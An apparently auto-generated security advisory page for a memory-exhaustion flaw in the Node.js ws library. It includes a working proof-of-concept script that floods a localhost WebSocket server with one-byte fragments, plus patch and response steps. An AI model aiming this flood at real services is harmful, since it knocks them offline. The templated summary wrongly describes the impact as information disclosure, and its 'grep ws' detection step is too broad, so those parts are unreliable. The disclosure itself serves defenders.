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CVE-2026-48779 high CVSS 7.5

Vulnerability in ws (CVE-2026-48779)

Summary

Vulnerability in ws (CVE-2026-48779). Risk of unauthorized operations or information disclosure. Exploitable via maxPayload. Mitigation: upgrade to 8.21.0 or later.

Original description

The description as published by the source.

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-48779 has been found in ws.
Attackers can target a specific entry point like maxPayload over the network to misuse the product.
Risk of unauthorized operations or information disclosure. CVSS score: 7.5/10.
What to do: upgrade ws to 8.21.0 or later.
If unsure, ask your IT team or search "ws CVE-2026-48779" on the vendor's site.

CVE-2026-48779 (ws) — CWE-400 / CVSS v3 7.5
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: maxPayload
Patched: 8.21.0 — apply immediately
Workaround: In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-400) exists in ws. Attackers reach the vulnerable code path via maxPayload without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of ws. Attack surface: maxPayload.

🔥 Severity

Severity: High (CVSS 7.5/10). Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 8.21.0.

🛡️ Workaround

Workaround: In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'ws' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'ws' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で ws を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply temporary workaround mitigate 
    In vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.

    パッチが適用されるまでの応急処置として、In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible. を実施。回避策の副作用 (機能低下) を確認した上で。

  3. 3
    Apply patch patch 
    Upgrade ws to 8.21.0

    ステージング環境で 8.21.0 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  4. 4
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

npm ws
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.21.0"}]}]

Fix status by distribution

Fixed packages published by each distribution for this CVE

References

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